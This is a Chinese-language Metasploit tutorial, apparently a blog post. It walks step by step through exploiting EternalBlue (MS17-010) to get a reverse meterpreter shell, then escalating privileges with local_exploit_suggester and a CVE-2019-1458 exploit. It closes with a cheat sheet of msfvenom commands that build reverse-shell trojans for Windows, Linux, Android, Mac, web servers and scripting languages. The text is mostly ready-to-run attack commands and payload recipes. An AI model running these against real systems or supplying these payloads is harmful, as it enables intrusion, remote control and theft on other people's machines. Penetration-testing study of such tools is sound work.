msf 远程溢出和本地溢出
MSF简介
Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。
因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
MSF的功能模块介绍
MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程
1、Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
2、Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
3、Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
4、Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
5、Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截
MSF的基本使用方法
例如攻击永恒之蓝:
开启MSF:msfconsole
这里我们拿永恒之蓝这个漏洞进行简单的使用
根据漏洞名称搜索 : search ms17_010
1、运用辅助模块扫描目标
设置模块:use auxiliary/scanner/smb/smb_ms17_010
查看设置:options
设置目标地址:set rhosts 靶机ip
目标端口默认是445,如果用nmap端口扫描windows文件共享服务不是开放在445端口上面,那这里需要进行修改,set rport 目标端口
设置好了之后,run
或者exploit
进行攻击
绿色的加号为可攻击
2、设置攻击模块对目标进行攻击
使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue
查看所需设置:options
设置目标地址:set RHOSTS 靶机ip
设置payload:set payload windows/x64/meterpreter/reverse_tcp
攻击:run
或者exploit
攻击成功,成功拿到会话
shell开启会话
chcp 65001 处理乱码
getuid查看使用权限
注意:存在一定机率将目标机器打成蓝屏或者重启
提权
1.利用msf自带命令 getsystem
2.反弹shell后查询补丁 run post/windows/gather/enum_patches
后台运行会话 backgroound (记住session id)
查询exp use/post/multi/recon/local_exploit_suggester
set lhost 攻击机ip
set session id
run
利用检测到的exp提权
use exploit/windows/local/cve_2019_1458_wizardopium
set session id
run
getuid
发现提权成功
msfvenom生成木马
Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=任意不常用端口 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
Android
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.175.128 lport=4444 R > /home/shell.apk
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl